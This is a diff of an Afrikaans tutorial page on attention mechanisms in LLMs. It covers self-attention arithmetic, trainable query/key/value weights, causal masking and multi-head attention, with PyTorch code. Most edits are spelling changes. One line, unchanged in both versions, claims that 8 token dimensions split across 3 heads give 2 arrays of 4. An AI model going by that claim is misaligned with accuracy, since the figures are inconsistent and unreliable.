Aandagmeganismes laat neurale netwerke toe om op spesifieke dele van die invoer te f**okus wanneer hulle elke deel van die uitvoer genereer**. Hulle ken verskillende gewigte aan verskillende invoere toe, wat die model help om te besluit watter invoere die relevantste is vir die taak wat voorlê. Dit is van kardinale belang in take soos masjienvertaling, waar die begrip van die konteks van die hele sin noodsaaklik is vir akkurate vertaling.
|
||||
Aandagmeganismes laat neurale netwerke toe om **op spesifieke dele van die invoer te fokus wanneer hulle elke deel van die uitvoer genereer**. Hulle ken verskillende gewigte aan verskillende invoere toe, wat die model help om te besluit watter invoere die relevantste is vir die taak wat voorlê. Dit is van kardinale belang in take soos masjienvertaling, waar die begrip van die konteks van die hele sin noodsaaklik is vir akkurate vertaling.
|
||||
|
||||
{% hint style="success" %}
|
||||
Die doel van hierdie vierde fase is baie eenvoudig: **Pas 'n paar aandagmeganismes toe**. Dit gaan baie **herhalende lae** wees wat die **verhouding van 'n woord in die woordeskat met sy bure in die huidige sin wat gebruik word om die LLM te train, vasvang**.\
|
||||
Die doel van hierdie vierde fase is baie eenvoudig: **Pas 'n paar aandagmeganismes toe**. Hierdie gaan baie **herhalende lae** wees wat die **verhouding van 'n woord in die woordeskat met sy bure in die huidige sin wat gebruik word om die LLM te train, vasvang**.\
|
||||
Daar word baie lae hiervoor gebruik, so 'n groot aantal opleibare parameters gaan hierdie inligting vasvang.
|
||||
{% endhint %}
|
||||
|
||||
|
@ -15,7 +15,7 @@ In tradisionele volgorde-tot-volgorde modelle wat vir taalvertaling gebruik word
|
|||
|
||||
#### Voorbeeld: Masjienvertaling
|
||||
|
||||
Oorweeg om die Duitse sin "Kannst du mir helfen diesen Satz zu übersetzen" in Engels te vertaal. 'n Woord-vir-woord vertaling sou nie 'n grammatikaal korrekte Engelse sin lewer nie weens verskille in grammaticale strukture tussen tale. 'n Aandagmeganisme stel die model in staat om op relevante dele van die invoersin te fokus wanneer dit elke woord van die uitvoersin genereer, wat lei tot 'n meer akkurate en samehangende vertaling.
|
||||
Oorweeg om die Duitse sin "Kannst du mir helfen diesen Satz zu übersetzen" in Engels te vertaal. 'n Woord-vir-woord vertaling sou nie 'n grammatikaal korrekte Engelse sin lewer nie weens verskille in grammatikaal strukture tussen tale. 'n Aandagmeganisme stel die model in staat om op relevante dele van die invoersin te fokus wanneer dit elke woord van die uitvoersin genereer, wat lei tot 'n meer akkurate en samehangende vertaling.
|
||||
|
||||
### Inleiding tot Self-Aandag
|
||||
|
||||
|
@ -29,7 +29,7 @@ Self-aandag, of intra-aandag, is 'n meganisme waar aandag binne 'n enkele volgor
|
|||
|
||||
### Berekening van Aandaggewigte: 'n Stap-vir-Stap Voorbeeld
|
||||
|
||||
Kom ons oorweeg die sin **"Hello shiny sun!"** en verteenwoordig elke woord met 'n 3-dimensionele inbeding:
|
||||
Kom ons oorweeg die sin **"Hello shiny sun!"** en verteenwoordig elke woord met 'n 3-dimensionele inbedding:
|
||||
|
||||
* **Hello**: `[0.34, 0.22, 0.54]`
|
||||
* **shiny**: `[0.53, 0.34, 0.98]`
|
||||
|
@ -51,7 +51,7 @@ Vir elke woord in die sin, bereken die **aandagpunt** ten opsigte van "shiny" de
|
|||
|
||||
**Aandagpunt tussen "shiny" en "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Aandagpunt tussen "sun" en "shiny"**
|
||||
|
||||
|
@ -65,7 +65,7 @@ Moet nie in die wiskundige terme verlore gaan nie, die doel van hierdie funksie
|
|||
Boonop word die **softmax** funksie gebruik omdat dit verskille beklemtoon weens die eksponensiële deel, wat dit makliker maak om nuttige waardes te identifiseer.
|
||||
{% endhint %}
|
||||
|
||||
Pas die **softmax funksie** toe op die aandagpunte om hulle in aandaggewigte te omskep wat tot 1 optel.
|
||||
Pas die **softmax-funksie** toe op die aandagpunte om hulle in aandaggewigte te omskep wat tot 1 optel.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -93,13 +93,13 @@ Die **konteksvektor** word bereken as die gewigte som van die inbedings van al d
|
|||
|
||||
Berekening van elke komponent:
|
||||
|
||||
* **Gewigte Inbeding van "Hello"**:
|
||||
* **Gewigte Inbedding van "Hello"**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
* **Gewigte Inbeding van "shiny"**:
|
||||
* **Gewigte Inbedding van "shiny"**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
* **Gewigte Inbeding van "sun"**:
|
||||
* **Gewigte Inbedding van "sun"**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -107,38 +107,38 @@ Som die gewigte inbedings:
|
|||
|
||||
`konteksvektor=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
|
||||
**Hierdie konteksvektor verteenwoordig die verrykte inbeding vir die woord "shiny," wat inligting van al die woorde in die sin inkorporeer.**
|
||||
**Hierdie konteksvektor verteenwoordig die verrykte inbedding vir die woord "shiny," wat inligting van al die woorde in die sin inkorporeer.**
|
||||
|
||||
### Samevatting van die Proses
|
||||
|
||||
1. **Bereken Aandagpunte**: Gebruik die dotproduk tussen die inbeding van die teikenwoord en die inbedings van al die woorde in die volgorde.
|
||||
2. **Normaliseer Punte om Aandaggewigte te Verkry**: Pas die softmax funksie toe op die aandagpunte om gewigte te verkry wat tot 1 optel.
|
||||
3. **Bereken Konteksvektor**: Vermenigvuldig elke woord se inbeding met sy aandaggewig en som die resultate.
|
||||
1. **Bereken Aandagpunte**: Gebruik die dotproduk tussen die inbedding van die teikenwoord en die inbedings van al die woorde in die volgorde.
|
||||
2. **Normaliseer Punte om Aandaggewigte te Verkry**: Pas die softmax-funksie toe op die aandagpunte om gewigte te verkry wat tot 1 optel.
|
||||
3. **Bereken Konteksvektor**: Vermenigvuldig elke woord se inbedding met sy aandaggewig en som die resultate.
|
||||
|
||||
## Self-Aandag met Opleibare Gewigte
|
||||
|
||||
In praktyk gebruik self-aandagmeganismes **opleibare gewigte** om die beste voorstellings vir navrae, sleutels en waardes te leer. Dit behels die bekendstelling van drie gewig matrikse:
|
||||
In praktyk gebruik self-aandagmeganismes **opleibare gewigte** om die beste voorstellings vir navrae, sleutels en waardes te leer. Dit behels die bekendstelling van drie gewigmatrices:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
Die navraag is die data om soos voorheen te gebruik, terwyl die sleutels en waardes matrikse bloot ewekansige-opleibare matrikse is.
|
||||
Die navraag is die data om soos voorheen te gebruik, terwyl die sleutels en waardes matriks bloot lukraak-opleibare matriks is.
|
||||
|
||||
#### Stap 1: Bereken Navrae, Sleutels en Waardes
|
||||
#### Stap 1: Bereken Navrae, Sleutels, en Waardes
|
||||
|
||||
Elke token sal sy eie navraag, sleutel en waardematriks hê deur sy dimensiewaarde met die gedefinieerde matrikse te vermenigvuldig:
|
||||
Elke token sal sy eie navraag, sleutel en waardematrix hê deur sy dimensiewaarde met die gedefinieerde matriks te vermenigvuldig:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||
|
||||
Hierdie matrikse transformeer die oorspronklike inbedings in 'n nuwe ruimte wat geskik is vir die berekening van aandag.
|
||||
Hierdie matriks transformeer die oorspronklike inbedings in 'n nuwe ruimte wat geskik is vir die berekening van aandag.
|
||||
|
||||
**Voorbeeld**
|
||||
|
||||
Aanvaar:
|
||||
Aannemend:
|
||||
|
||||
* Invoer dimensie `din=3` (inbeding grootte)
|
||||
* Invoer dimensie `din=3` (inbedding grootte)
|
||||
* Uitvoer dimensie `dout=2` (gewens dimensie vir navrae, sleutels, en waardes)
|
||||
|
||||
Inisialiseer die gewig matrikse:
|
||||
Inisialiseer die gewigmatrices:
|
||||
```python
|
||||
import torch.nn as nn
|
||||
|
||||
|
@ -159,18 +159,18 @@ values = torch.matmul(inputs, W_value)
|
|||
|
||||
**Bereken Aandag Punte**
|
||||
|
||||
Soos in die voorbeeld van tevore, maar hierdie keer, in plaas daarvan om die waardes van die dimensies van die tokens te gebruik, gebruik ons die sleutel matriks van die token (wat reeds bereken is met behulp van die dimensies):. So, vir elke navraag `qi` en sleutel `kj`:
|
||||
Soos in die vorige voorbeeld, maar hierdie keer, in plaas daarvan om die waardes van die dimensies van die tokens te gebruik, gebruik ons die sleutel matriks van die token (wat reeds bereken is met behulp van die dimensies):. So, vir elke navraag `qi` en sleutel `kj`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Skaal die Punte**
|
||||
|
||||
Om te voorkom dat die dot produkte te groot word, skaal dit deur die vierkant wortel van die sleutel dimensie `dk`:
|
||||
Om te voorkom dat die dot produkte te groot word, skaal dit deur die vierkantswortel van die sleutel dimensie `dk`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Die punt word gedeel deur die vierkant wortel van die dimensies omdat dot produkte baie groot kan word en dit help om hulle te reguleer.
|
||||
Die punt word gedeel deur die vierkantswortel van die dimensies omdat dot produkte baie groot kan word en dit help om hulle te reguleer.
|
||||
{% endhint %}
|
||||
|
||||
**Pas Softmax toe om Aandag Gewigte te Verkry:** Soos in die aanvanklike voorbeeld, normaliseer al die waardes sodat hulle 1 som.
|
||||
|
@ -185,7 +185,7 @@ Soos in die aanvanklike voorbeeld, som net al die waardes matriks op deur elkeen
|
|||
|
||||
### Kode Voorbeeld
|
||||
|
||||
Gryp 'n voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) jy kan hierdie klas kyk wat die self-aandag funksionaliteit implementeer waaroor ons gepraat het:
|
||||
Grijp 'n voorbeeld van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) jy kan hierdie klas kyk wat die self-aandag funksionaliteit implementeer waaroor ons gepraat het:
|
||||
```python
|
||||
import torch
|
||||
|
||||
|
@ -230,7 +230,7 @@ Let daarop dat in plaas van om die matriks met ewekansige waardes te initialisee
|
|||
|
||||
## Causale Aandag: Toekomstige Woorde Versteek
|
||||
|
||||
Vir LLMs wil ons hê die model moet slegs die tokens oorweeg wat voor die huidige posisie verskyn om die **volgende token** te **voorspel**. **Causale aandag**, ook bekend as **gemaskerde aandag**, bereik dit deur die aandagmeganisme te wysig om toegang tot toekomstige tokens te verhoed.
|
||||
Vir LLMs wil ons hê dat die model slegs die tokens moet oorweeg wat voor die huidige posisie verskyn om die **volgende token** te **voorspel**. **Causale aandag**, ook bekend as **gemaskerde aandag**, bereik dit deur die aandagmeganisme te wysig om toegang tot toekomstige tokens te verhoed.
|
||||
|
||||
### Toepassing van 'n Causale Aandagmasker
|
||||
|
||||
|
@ -330,7 +330,7 @@ print("context_vecs.shape:", context_vecs.shape)
|
|||
|
||||
### Kode Voorbeeld
|
||||
|
||||
Dit kan moontlik wees om die vorige kode te hergebruik en net 'n omhulsel by te voeg wat dit verskeie kere begin, maar dit is 'n meer geoptimaliseerde weergawe van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) wat al die koppe gelyktydig verwerk (wat die aantal duur vir-lusse verminder). Soos jy in die kode kan sien, word die dimensies van elke token in verskillende dimensies verdeel volgens die aantal koppe. Op hierdie manier, as 'n token 8 dimensies het en ons 3 koppe wil gebruik, sal die dimensies in 2 arrays van 4 dimensies verdeel word en elke kop sal een daarvan gebruik:
|
||||
Dit kan moontlik wees om die vorige kode te hergebruik en net 'n omhulsel toe te voeg wat dit verskeie kere begin, maar dit is 'n meer geoptimaliseerde weergawe van [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) wat al die koppe gelyktydig verwerk (wat die aantal duur vir-lusse verminder). Soos jy in die kode kan sien, word die dimensies van elke token in verskillende dimensies verdeel volgens die aantal koppe. Op hierdie manier, as 'n token 8 dimensies het en ons 3 koppe wil gebruik, sal die dimensies in 2 arrays van 4 dimensies verdeel word en elke kop sal een daarvan gebruik:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
|
|